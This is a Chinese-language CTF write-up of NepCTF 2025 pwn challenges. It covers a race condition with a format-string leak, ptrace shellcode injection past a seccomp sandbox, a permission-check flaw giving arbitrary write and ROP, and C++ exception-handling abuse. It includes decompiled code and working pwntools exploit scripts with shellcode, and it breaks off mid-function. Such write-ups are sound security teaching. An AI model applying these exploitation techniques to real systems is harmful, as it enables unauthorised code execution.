首页
社区
课程
招聘
[原创]Nepctf2025 pwn部分wp
发表于: 2025-7-29 19:32 3896

[原创]Nepctf2025 pwn部分wp

2025-7-29 19:32
3896

今年的nep和往年比可以说很简单,但对我来说还是有挑战的 QwQ

之前的半个月我对二进制安全有点摆烂,但是nep一下把我的状态打满了 :)

本次的成绩为4/5,差一道webpwn

图片描述

向全局变量出入一个100字节的name,然后列出根目录下的文件

检查输入的文件名,如果是flag就要重新输入(注意此时flag被输入了filename)

然后开启一个子线程运行work函数

先计算filenamemd5,然后如果文件存在,就把文件读入内存,并打印name

很明显这里存在着非栈上格式化字符串漏洞,通过%p/%x可以将读入内存的文件内容dump出来

现在我们需要的是打开flag文件,可是input_filename有过滤

线程与进程关系

进程(Process) 是资源的集合(有自己独立的内存空间、文件描述符、栈等)

线程(Thread) 是进程中的一个执行流(共享内存、文件描述符,但有自己栈、寄存器等)。

线程是"轻量级"的进程,多个线程共享一个进程的大部分资源。

线程竞争

线程竞争(race condition)是指多个线程同时访问共享资源,并试图对其进行读写操作时,由于访问时序不确定,导致程序执行结果不一致或错误的现象

通常产生于

本题中,work线程和main进程同时访问了filename,分别为读入与打开

同时由于work进行了一次md5计算,打开时刻会靠后

图片描述

我们只需要在输入一个一个文件名后立马输入第二个文件名flag就有可能实现在open前替换filenameflag

然后通过格式化字符串将flag打印

解码flag

程序逻辑很简单

fork,子进程进入死循环,父进程执行沙箱后任意代码执行

其中沙箱

只允许父进程进行ptrace调用

常见的请求宏

我们使用的gdb就是依赖于ptrace调用,我们在gdb中可以对被调试的进程进行内存写入,内存查看,寄存器修改等等操作,几乎可以控制子进程的所有行为

回到题目,我们看到子进程在fork后立马进入了while(1),并没有开启沙箱,所以思路很简单:父进程附加到子进程上,将shellcode注入子进程,后修改子进程的RIP修改为0xDEADC0DE000,最后脱离子进程,子进程便开始执行父进程注入的shellcode

我们可以从栈上获得子进程的进程号,然后attach上去,注意attach需要相对比较长的时间

通常情况下可以使用wait调用等到附加成功,但本题只能调用ptrace,我们可以写一个loop强行等待到attach成功

然后就是常规的将shellcode写入子进程,最后PTRACE_DETACH脱离子进程

自定义的菜单题,实现了一个可以以usrmaster身份管理一个记事本的系统

其中init中实现了对内容堆块的申请,初始化,并为每个堆块标记了权限

其中operate_chunk的结构为

chunk[0]被标记为0x10,chunk[1~9]3,其余为2

usr操作中,可以进行的子操作有usr_writeusr_read

其中检查函数

usr_read无检查,usr_write会通过&操作检查权限是否符合3&1=1/2&1=0

所以usr_read只能写chunk[1~9]

然后根据操作字符串,映射对应的操作码

将造作字符串转化为对应的操作码

manager_operation中提供了两类操作,分别是manager_write/readmanager_write_usr/manager_read_usr

check复用了usr中的check,仍然是对read操作无检查

manager_write进行了堆块权限的检查

manager_operate_usr是根据进行的最后一次usr操作的chunk确定,还会额外调用checkvisit进行检查

要求进行操作的堆块进行的最后一次usr操作的操作码不能是4(正常来说,必须是能在usr态编辑的chunk才能保证操作码不为4)

由于这个系统对read的检查不够严格,我们可以随便read,其中最特殊的chunk便是chunk[0],拥有最特殊的权限0x10,

图片描述

chunk[0]中也包含着堆地址PIE偏移

我们先把exp.py的自定义函数写好

先是manager_read(0),获得两个地址

图片描述

manager_write_usr中,操作的堆地址便是从*((void* )(chunk[0])+1)中获得

如果我们可以控制chunk[0],便可以对任意地址进行单次0xff大小的写入

但是想要操作chunk[0],使用usr_writemanager_write是不行的,因为会有严格的权限检查

使用manager_write_usr,虽然不会进行权限检查,但是要求被操作的堆块在usr态被标记了非read操作

但是我们又无法使用usr_writechunk[0]打上write操作码1

check检查最大的问题就是,完全没有考虑以usr态输入manager相关操作字符串会怎么样?

首先是可以通过check检查,因为如果以usr态进入且操作字符串不为usr_write就会返回1

permission_confirm中,并不会检查身份,即使以usr身份进行manager操作,也会返回合法的操作码

也就是如果我们以usr身份chunk[0]进行manager操作,不光不会报错,还可以为chunk[0]添加一个非4的操作码,这样我们就可以用manager_write_usr操作chunk[0]

然后我们可以对任意地址进行写,但是我们只有一次机会,因为把chunk[0]修改后便无法再次直接使用manager_write_usr操作chunk[0]

我们无法使用manager_write操作chunk[0]是因为chunk[0]的权限太特殊了,是0x10

如果我们把chunk[0]的权限修改为0xf,那么manager_write便可以直接操作chunk[0]:配合manager_write_usr可以实现任意地址写;配合manager_read可以实现任意地址读

got表进行读,获得libc_base,从而获得environ地址

environ进行读,获得stack地址

manager_operat的返回地址进行写,通过ROP进行getshell

实际操作中,不知道为什么远程的got表中地址和本地不一致,无法计算libc,转而使用IO指针,才得到libc_base

依旧菜单题

init中把flag读入bss中,并开启沙箱,白名单留下open,read,write

IDA的反编译没有把异常处理部分展示出

menu处的异常处理为

visitleave的异常处理部分

其中visit用于创造堆块,编辑堆块,但是create把输入大小与malloc分为两个单独的步骤

size会检查整形溢出,edit不会检查下标

leave中,允许我们将一个chunk的内容复制到leave的栈中,并通过size检测是否栈溢出并抛出异常

c++ 异常处理在抛出(throw)异常后,执行两个主要步骤:

在 C++ 异常处理中,通过返回地址逆向查找异常处理器

也就是说,触发异常时根据返回地址确定异常抛出于哪个try代码块中,并查看处理器是否能处理此处异常

当我们在leave中栈溢出覆盖返回地址,但不改变返回地址,我们就可以调用leave相关异常处理函数

leave相关异常处理函数会提供给我们一个libc地址

同时我们覆盖rbp,也可以实现栈迁移,由于leave

中的exception为栈上变量,由rbp确定位置,我们还可以通过覆盖rbpbss地址,在bss上写入0x4031D7("stack overflow"的地址)

回到visitedit部分,根据chunk_list进行负向溢出,可以写bss上存在的一个指针,同时要求对应的size_list必须存在

但是size_listint数组;chunk_list为指针数组,二者单个元素的大小不同

如果我们能直接修改bss上的stdout指针,便可以在调用menu时触发IOflag打印出来

但是我发现当chunk_list+idx==stdout时,size_list[idx]0,且如果我们提前通过栈迁移将0x4031D7写入此时的size_list[idx],程序会因为栈过低在某一步抛出异常

既然没法修改stdout,我就先在bss上寻找一开始残留的可用地址

我发现

6b:0358│ 0x405358 (std::cin+216) —▸ 0x4052d0 (std::cin+80) ◂— 0

中存放了一个更低地址的指针,如果我们写这个指针,能反过来覆盖0x405358中的内容,再次编辑便可以实现任意地址写,恰好我们得到了libc_base,那直接修改IO结构体便可以leak_flag

我尝试栈迁移将0x4031D7写入对应的size_list[idx]中,发现不会触发上次的问题

栈迁移到bss+获得libc_base

此时我们编辑-70,便可以将_IO_2_1stdout_写入0x405210

图片描述

成功写入

再次编辑-70堆块,便是编辑IO结构体

此时main循环会回到menu,在menu中触发IO流,打印出flag

图片描述

unsigned __int64 input_my_name()
{
  char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  puts("please input your name:");
  __isoc99_scanf("%100s", name);
  puts("I will tell you all file names in the current directory!");
  argv[0] = "/bin/ls";
  argv[1] = "/";
  argv[2] = "-al";
  argv[3] = 0LL;
  if ( !fork() )
    execve("/bin/ls", argv, 0LL);
  wait(0LL);
  puts("good luck :-)");
  return v2 - __readfsqword(0x28u);
}
unsigned __int64 input_my_name()
{
  char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  puts("please input your name:");
  __isoc99_scanf("%100s", name);
  puts("I will tell you all file names in the current directory!");
  argv[0] = "/bin/ls";
  argv[1] = "/";
  argv[2] = "-al";
  argv[3] = 0LL;
  if ( !fork() )
    execve("/bin/ls", argv, 0LL);
  wait(0LL);
  puts("good luck :-)");
  return v2 - __readfsqword(0x28u);
}
__int64 input_filename()
{
  puts("input file name you want to read:");
  __isoc99_scanf("%s", file);
  if ( !strstr(file, "flag") )
    return 1LL;
  puts("flag is not allowed!");
  return 0LL;
}
__int64 input_filename()
{
  puts("input file name you want to read:");
  __isoc99_scanf("%s", file);
  if ( !strstr(file, "flag") )
    return 1LL;
  puts("flag is not allowed!");
  return 0LL;
}
unsigned __int64 __fastcall work(void *a1)
{
  unsigned int v1; // eax
  int i; // [rsp+4h] [rbp-46Ch]
  int j; // [rsp+8h] [rbp-468h]
  int fd; // [rsp+Ch] [rbp-464h]
  char v6[96]; // [rsp+10h] [rbp-460h] BYREF
  char v7[16]; // [rsp+70h] [rbp-400h] BYREF
  char buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp+468h] [rbp-8h]
 
  v9 = __readfsqword(0x28u);
  md5_1_(v6);
  v1 = strlen(file);
  md5_2_(v6, file, v1);
  md5_3_(v6, v7);
  puts("I will tell you last file name content in md5:");
  for ( i = 0; i <= 15; ++i )
    printf("%02X", (unsigned __int8)v7[i]);
  putchar(10);
  for ( j = 0; j <= 999; ++j )
    buf[j] = 0;
  fd = open(file, 0);
  if ( fd >= 0 )
  {
    read(fd, buf, 0x3E8uLL);
    close(fd);
    printf("hello ");
    printf(name);
    puts(" ,your file read done!");
  }
  else
  {
    puts("file not found!");
  }
  return v9 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall work(void *a1)
{
  unsigned int v1; // eax
  int i; // [rsp+4h] [rbp-46Ch]
  int j; // [rsp+8h] [rbp-468h]
  int fd; // [rsp+Ch] [rbp-464h]
  char v6[96]; // [rsp+10h] [rbp-460h] BYREF
  char v7[16]; // [rsp+70h] [rbp-400h] BYREF
  char buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp+468h] [rbp-8h]
 
  v9 = __readfsqword(0x28u);
  md5_1_(v6);
  v1 = strlen(file);
  md5_2_(v6, file, v1);
  md5_3_(v6, v7);
  puts("I will tell you last file name content in md5:");
  for ( i = 0; i <= 15; ++i )
    printf("%02X", (unsigned __int8)v7[i]);
  putchar(10);
  for ( j = 0; j <= 999; ++j )
    buf[j] = 0;
  fd = open(file, 0);
  if ( fd >= 0 )
  {
    read(fd, buf, 0x3E8uLL);
    close(fd);
    printf("hello ");
    printf(name);
    puts(" ,your file read done!");
  }
  else
  {
    puts("file not found!");
  }
  return v9 - __readfsqword(0x28u);
}
from pwn import *
#io=process('./pwn')
context.log_level='debug'
io=remote("nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com",443,ssl=True,sni="nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com")
def bug():
    gdb.attach(io)
name=f"%{12+9}$p".encode()
for  i in range(0x10):
    name+=f"-%{13+9+i}$p".encode()
io.sendlineafter(b"please input your name:\n",name)
file=b"time"
io.sendlineafter(b"input file name you want to read:\n",file)
io.sendlineafter(b"input file name you want to read:\n",b"flag")
 
io.interactive()
from pwn import *
#io=process('./pwn')
context.log_level='debug'
io=remote("nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com",443,ssl=True,sni="nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com")
def bug():
    gdb.attach(io)
name=f"%{12+9}$p".encode()
for  i in range(0x10):
    name+=f"-%{13+9+i}$p".encode()
io.sendlineafter(b"please input your name:\n",name)
file=b"time"
io.sendlineafter(b"input file name you want to read:\n",file)
io.sendlineafter(b"input file name you want to read:\n",b"flag")
 
io.interactive()
def hex_to_string(hex_list):
    result = b""
    for val in hex_list:
        num = int(val, 16)
        # 计算需要多少字节表示这个数
        byte_len = (num.bit_length() + 7) // 8
        # 转换为字节串(小端)
        b = num.to_bytes(byte_len, byteorder='little')
        result += b
    return result.decode(errors='replace'# errors='replace' 防止乱码崩溃
 
hex_data = [
    "0x2bc422698ba00f71",
    "0x627b46544370654e",
    "0x2d31376661383262",
    "0x3162372d66323762",
    "0x382d363633612d64",
    "0x3632326534363763",
    "0xa7d353564"
]
 
print(hex_to_string(hex_data))
 
#q��i"�+NepCTF{bb28af71-b72f-7b1d-a366-8c764e226d55}
def hex_to_string(hex_list):
    result = b""
    for val in hex_list:
        num = int(val, 16)
        # 计算需要多少字节表示这个数
        byte_len = (num.bit_length() + 7) // 8
        # 转换为字节串(小端)
        b = num.to_bytes(byte_len, byteorder='little')
        result += b
    return result.decode(errors='replace'# errors='replace' 防止乱码崩溃
 
hex_data = [
    "0x2bc422698ba00f71",
    "0x627b46544370654e",
    "0x2d31376661383262",
    "0x3162372d66323762",
    "0x382d363633612d64",
    "0x3632326534363763",
    "0xa7d353564"
]
 
print(hex_to_string(hex_data))
 
#q��i"�+NepCTF{bb28af71-b72f-7b1d-a366-8c764e226d55}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __pid_t pid; // [rsp+4h] [rbp-Ch]
 
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL )
  {
    puts("[+] please input your shellcode: ");
    pid = fork();
    if ( pid < 0 )
    {
      perror("fork");
      exit(1);
    }
    if ( !pid )
    {
      while ( 1 )
        ;
    }
    read(0, (void *)0xDEADC0DE000LL, 0x1000uLL);
    install_seccomp();
    MEMORY[0xDEADC0DE000]();
    return 0;
  }
  else
  {
    perror("mmap");
    return 1;
  }
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __pid_t pid; // [rsp+4h] [rbp-Ch]
 
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL )
  {
    puts("[+] please input your shellcode: ");
    pid = fork();
    if ( pid < 0 )
    {
      perror("fork");
      exit(1);
    }
    if ( !pid )
    {
      while ( 1 )
        ;
    }
    read(0, (void *)0xDEADC0DE000LL, 0x1000uLL);
    install_seccomp();
    MEMORY[0xDEADC0DE000]();
    return 0;
  }
  else
  {
    perror("mmap");
    return 1;
  }
}
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x06 0x00 0x00 0x00000000  return KILL
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x06 0x00 0x00 0x00000000  return KILL
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
参数 含义
request 请求类型
pid 被调试进程的 PID
addr 地址参数(依赖于请求类型)
data 数据参数(依赖于请求类型)
宏名 描述
PTRACE_TRACEME 表示自己要被父进程调试(子进程调用)
PTRACE_PEEKDATA/PTRACE_PEEKUSER 读取数据或用户区(寄存器)
PTRACE_POKEDATA/PTRACE_POKEUSER 写入数据或用户区(寄存器)
PTRACE_GETREGS/PTRACE_SETREGS 获取或设置所有通用寄存器(x86、x86_64)
PTRACE_CONT 继续执行被暂停的子进程
PTRACE_SINGLESTEP 单步执行
PTRACE_ATTACH 附加到一个正在运行的进程(类似 GDB attach)
PTRACE_DETACH 从目标进程分离,目标继续运行
PTRACE_SYSCALL 每次系统调用前暂停目标,常用于 syscall hook
PTRACE_KILL 杀死被调试进程
PTRACE_SEIZE 非侵入式 attach,用于新型调试接口
PTRACE_INTERRUPT 中断目标(常用于 SEIZE 模式)
from pwn import *
#io=process('./pwn')
io=remote("nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com",443,ssl=True,sni="nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com")
context.arch='amd64'
context.log_level='debug'
def bug():
    gdb.attach(io,"b read")
io.recvuntil(b"[+] please input your shellcode: ")
shellcode =asm("mov r14d, DWORD PTR [rbp-0xc]")
print("已获得子进程pid")
"""orw
0xdeadc0de000:  0x010101010101b848  0x672e2fb848500101
0xdeadc0de010:  0x043148010166606d  0xf631d231e7894824
0xdeadc0de020:  0x01ba41050f58026a  0x0301f28141010102
0xdeadc0de030:  0x6ad2315f016a0101  0x00050f58286a5e03
"""
shellcode+=asm(shellcraft.ptrace(16,"r14"))
shellcode+=asm('''
    mov rcx,0x500000000
loop:
    sub rcx,1
    test rcx,rcx
    jnz loop
        ''')
print("进程附加成功")
shellcode+=asm(shellcraft.ptrace(12,"r14",0,0xDEADC0DE000+0x500))
shellcode+=asm("mov rsp,0xDEADC0DE588;mov rax, 0xDEADC0DE000;push rax;mov rsp,0xDEADC0DE800")
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000,0x010101010101b848))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+8,0x672e2fb848500101))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x10,0x043148010166606d))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x18,0xf631d231e7894824))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x20,0x01ba41050f58026a))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x28,0x0301f28141010102))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x30,0x6ad2315f016a0101))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x38,0x00050f58286a5e03))
#================================================================================================================
shellcode+=asm(shellcraft.ptrace(13,"r14",0,0xDEADC0DE000+0x500))
#================================================================================================================
shellcode+=asm(shellcraft.ptrace(17,"r14", 0, 0))
shellcode+=asm("jmp $")
io.send(shellcode)
io.interactive()
from pwn import *
#io=process('./pwn')
io=remote("nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com",443,ssl=True,sni="nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com")
context.arch='amd64'
context.log_level='debug'
def bug():
    gdb.attach(io,"b read")
io.recvuntil(b"[+] please input your shellcode: ")
shellcode =asm("mov r14d, DWORD PTR [rbp-0xc]")
print("已获得子进程pid")
"""orw
0xdeadc0de000:  0x010101010101b848  0x672e2fb848500101
0xdeadc0de010:  0x043148010166606d  0xf631d231e7894824
0xdeadc0de020:  0x01ba41050f58026a  0x0301f28141010102
0xdeadc0de030:  0x6ad2315f016a0101  0x00050f58286a5e03
"""
shellcode+=asm(shellcraft.ptrace(16,"r14"))
shellcode+=asm('''
    mov rcx,0x500000000
loop:
    sub rcx,1
    test rcx,rcx
    jnz loop
        ''')
print("进程附加成功")
shellcode+=asm(shellcraft.ptrace(12,"r14",0,0xDEADC0DE000+0x500))
shellcode+=asm("mov rsp,0xDEADC0DE588;mov rax, 0xDEADC0DE000;push rax;mov rsp,0xDEADC0DE800")
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000,0x010101010101b848))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+8,0x672e2fb848500101))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x10,0x043148010166606d))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x18,0xf631d231e7894824))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x20,0x01ba41050f58026a))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x28,0x0301f28141010102))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x30,0x6ad2315f016a0101))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x38,0x00050f58286a5e03))
#================================================================================================================
shellcode+=asm(shellcraft.ptrace(13,"r14",0,0xDEADC0DE000+0x500))
#================================================================================================================
shellcode+=asm(shellcraft.ptrace(17,"r14", 0, 0))
shellcode+=asm("jmp $")
io.send(shellcode)
io.interactive()
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-14h] BYREF
  __int64 v4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  initstream(argc, argv, envp);
  v3 = 0;
  v4 = init();
  while ( 1 )
  {
    puts("Which permission do you want to log in with?(1:manager 1000:user)");
    __isoc99_scanf("%d", &v3);
    puts("What action do you want to take?");
    if ( v3 == 1 )
    {
      manager_operation(v4);
    }
    else if ( v3 == 1000 )
    {
      user_operation();
    }
  }
}
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-14h] BYREF
  __int64 v4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  initstream(argc, argv, envp);
  v3 = 0;
  v4 = init();
  while ( 1 )
  {
    puts("Which permission do you want to log in with?(1:manager 1000:user)");
    __isoc99_scanf("%d", &v3);
    puts("What action do you want to take?");
    if ( v3 == 1 )
    {
      manager_operation(v4);
    }
    else if ( v3 == 1000 )
    {
      user_operation();
    }
  }
}
00000000 usr_chunk       struc ; (sizeof=0x18, mappedto_8)
00000000 chunk           dq ?  //堆地址
00000008 right           dq ?  //权限
00000010 operat_code     dq ?  //操作码
00000000 usr_chunk       struc ; (sizeof=0x18, mappedto_8)
00000000 chunk           dq ?  //堆地址
00000008 right           dq ?  //权限
00000010 operat_code     dq ?  //操作码
__int64 init()
{
  int i; // [rsp+Ch] [rbp-14h]
  void *v2; // [rsp+10h] [rbp-10h]
  __int64 v3; // [rsp+18h] [rbp-8h]
 
  v2 = malloc(0x2000uLL);
  chunk_list[0] = (__int64)v2;
  right_list[0] = 0x10;
  for ( i = 1; i <= 19; ++i )                   //right_mark
  {
    chunk_list[2 * i] = (__int64)v2 + 0x100 * i;
    if ( i > 9 )
      right_list[4 * i] = 3;                    // usr
    else
      right_list[4 * i] = 2;                    // manage
  }
  onlyuser = 1000;
  operat_chunk = (usr_chunk *)malloc(0x18uLL);
  LODWORD(operat_chunk->operat_code) = 0;
  operat_chunk->chunk = 0LL;
  LODWORD(operat_chunk->right) = 0;
  v3 = chunk_list[0];
  *(_DWORD *)chunk_list[0] = 1;
  *(_QWORD *)(v3 + 0x10) = &onlyuser;
  *(_QWORD *)(v3 + 8) = malloc(0x18uLL);
  *(_DWORD *)(*(_QWORD *)(v3 + 8) + 16LL) = 0;
  **(_QWORD **)(v3 + 8) = 0LL;
  *(_DWORD *)(*(_QWORD *)(v3 + 8) + 8LL) = 0;
  return v3;
}
__int64 init()
{
  int i; // [rsp+Ch] [rbp-14h]
  void *v2; // [rsp+10h] [rbp-10h]
  __int64 v3; // [rsp+18h] [rbp-8h]
 
  v2 = malloc(0x2000uLL);
  chunk_list[0] = (__int64)v2;
  right_list[0] = 0x10;
  for ( i = 1; i <= 19; ++i )                   //right_mark
  {
    chunk_list[2 * i] = (__int64)v2 + 0x100 * i;
    if ( i > 9 )
      right_list[4 * i] = 3;                    // usr
    else
      right_list[4 * i] = 2;                    // manage
  }
  onlyuser = 1000;
  operat_chunk = (usr_chunk *)malloc(0x18uLL);
  LODWORD(operat_chunk->operat_code) = 0;
  operat_chunk->chunk = 0LL;
  LODWORD(operat_chunk->right) = 0;
  v3 = chunk_list[0];
  *(_DWORD *)chunk_list[0] = 1;
  *(_QWORD *)(v3 + 0x10) = &onlyuser;
  *(_QWORD *)(v3 + 8) = malloc(0x18uLL);
  *(_DWORD *)(*(_QWORD *)(v3 + 8) + 16LL) = 0;
  **(_QWORD **)(v3 + 8) = 0LL;
  *(_DWORD *)(*(_QWORD *)(v3 + 8) + 8LL) = 0;
  return v3;
}
ssize_t user_operation()
{
  ssize_t result; // rax
  signed int v1; // [rsp+Ch] [rbp-24h] BYREF
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  v1 = 0;
  memset(s, 0, 0x10uLL);
  puts("user read from logs(USER_read)");
  puts("user write to logs(USER_write)");
  read(0, s, 0xFuLL);
  puts("Which storage area do you want to operate on?");
  puts("10-19: user can visit");
  __isoc99_scanf("%d", &v1);
  if ( (unsigned int)check(v1, s, 1000) )
  {
    operat_chunk->chunk = chunk_list[2 * v1];
    LODWORD(operat_chunk->right) = right_list[4 * v1];
    permission_confirm((__int64)operat_chunk, s);
    if ( LODWORD(operat_chunk->operat_code) == 1 )
    {
      return read(0, (void *)operat_chunk->chunk, 0xFFuLL);// "USER_write"
    }
    else
    {
      result = LODWORD(operat_chunk->operat_code);
      if ( (_DWORD)result == 4 )
        return write(1, (const void *)operat_chunk->chunk, 0xFFuLL);// "USER_read"
    }
  }
  else
  {
    puts("permission denied");
    return 0xFFFFFFFFLL;
  }
  return result;
}
ssize_t user_operation()
{
  ssize_t result; // rax
  signed int v1; // [rsp+Ch] [rbp-24h] BYREF
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  v1 = 0;
  memset(s, 0, 0x10uLL);
  puts("user read from logs(USER_read)");
  puts("user write to logs(USER_write)");
  read(0, s, 0xFuLL);
  puts("Which storage area do you want to operate on?");
  puts("10-19: user can visit");
  __isoc99_scanf("%d", &v1);
  if ( (unsigned int)check(v1, s, 1000) )
  {
    operat_chunk->chunk = chunk_list[2 * v1];
    LODWORD(operat_chunk->right) = right_list[4 * v1];
    permission_confirm((__int64)operat_chunk, s);
    if ( LODWORD(operat_chunk->operat_code) == 1 )
    {
      return read(0, (void *)operat_chunk->chunk, 0xFFuLL);// "USER_write"
    }
    else
    {
      result = LODWORD(operat_chunk->operat_code);
      if ( (_DWORD)result == 4 )
        return write(1, (const void *)operat_chunk->chunk, 0xFFuLL);// "USER_read"
    }
  }
  else
  {
    puts("permission denied");
    return 0xFFFFFFFFLL;
  }
  return result;
}
__int64 __fastcall check(unsigned int Id, const char *s, int a3)
{
  __int64 *v5; // [rsp+18h] [rbp-8h]
 
  if ( Id >= 20 )                
    return 0LL;
  if ( strcmp(s, "MANAGER_visit")
    && strcmp(s, "MANAGER_read")
    && strcmp(s, "MANAGER_write")
    && strcmp(s, "USER_read")
    && strcmp(s, "USER_write") )
  {
    return 0LL;
  }
  v5 = &chunk_list[2 * (int)Id];
  if ( a3 == 1000 )
  {
    if ( !strcmp(s, "USER_write") && (v5[1] & 1) == 0 )
      return 0LL;
  }
  else if ( !strcmp(s, "MANAGER_write") )
  {
    if ( (v5[1] & 2) == 0 )
      return 0LL;
  }
  else if ( !strcmp(s, "MANAGER_visit") && !operat_chunk->chunk )
  {
    return 0LL;
  }
  return 1LL;
}
__int64 __fastcall check(unsigned int Id, const char *s, int a3)
{
  __int64 *v5; // [rsp+18h] [rbp-8h]
 
  if ( Id >= 20 )                
    return 0LL;
  if ( strcmp(s, "MANAGER_visit")
    && strcmp(s, "MANAGER_read")
    && strcmp(s, "MANAGER_write")
    && strcmp(s, "USER_read")
    && strcmp(s, "USER_write") )
  {
    return 0LL;
  }
  v5 = &chunk_list[2 * (int)Id];
  if ( a3 == 1000 )
  {
    if ( !strcmp(s, "USER_write") && (v5[1] & 1) == 0 )
      return 0LL;
  }
  else if ( !strcmp(s, "MANAGER_write") )
  {
    if ( (v5[1] & 2) == 0 )
      return 0LL;
  }
  else if ( !strcmp(s, "MANAGER_visit") && !operat_chunk->chunk )
  {
    return 0LL;
  }
  return 1LL;
}
int __fastcall permission_confirm(__int64 a1, const char *a2)
{
  int result; // eax
 
  if ( !strcmp(a2, "MANAGER_visit") )
  {
    result = a1;
    *(_DWORD *)(a1 + 0x10) = 8;
  }
  else if ( !strcmp(a2, "MANAGER_read") )
  {
    result = a1;
    *(_DWORD *)(a1 + 0x10) = 4;
  }
  else if ( !strcmp(a2, "MANAGER_write") )
  {
    result = a1;
    *(_DWORD *)(a1 + 0x10) = 2;
  }
  else if ( !strcmp(a2, "USER_read") )
  {
    result = a1;
    *(_DWORD *)(a1 + 0x10) = 4;
  }
  else
  {
    result = strcmp(a2, "USER_write");
    if ( !result )
    {
      result = a1;
      *(_DWORD *)(a1 + 0x10) = 1;
    }
  }
  return result;
}
int __fastcall permission_confirm(__int64 a1, const char *a2)
{
  int result; // eax
 
  if ( !strcmp(a2, "MANAGER_visit") )
  {
    result = a1;
    *(_DWORD *)(a1 + 0x10) = 8;
  }
  else if ( !strcmp(a2, "MANAGER_read") )
  {
    result = a1;
    *(_DWORD *)(a1 + 0x10) = 4;
  }
  else if ( !strcmp(a2, "MANAGER_write") )
  {
    result = a1;
    *(_DWORD *)(a1 + 0x10) = 2;
  }
  else if ( !strcmp(a2, "USER_read") )
  {
    result = a1;
    *(_DWORD *)(a1 + 0x10) = 4;
  }
  else
  {
    result = strcmp(a2, "USER_write");
    if ( !result )
    {
      result = a1;
      *(_DWORD *)(a1 + 0x10) = 1;
    }
  }
  return result;
}
ssize_t __fastcall manager_operation(__int64 a1)
{
  ssize_t result; // rax
  int v2; // [rsp+18h] [rbp-28h] BYREF
  signed int Id; // [rsp+1Ch] [rbp-24h] BYREF
  char s[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  v2 = 0;
  Id = 0;
  memset(s, 0, 0x10uLL);
  puts("manager read from logs(MANAGER_read)");
  puts("manager write to logs(MANAGER_write)");
  puts("visit user(MANAGER_visit)");
  read(0, s, 0xFuLL);                           // "MANAGER_visit"
                                                // "MANAGER_read"
                                                // "MANAGER_write"
  puts("Which storage area do you want to operate on?");
  puts("1-19: manager can visit");
  __isoc99_scanf("%d", &Id);
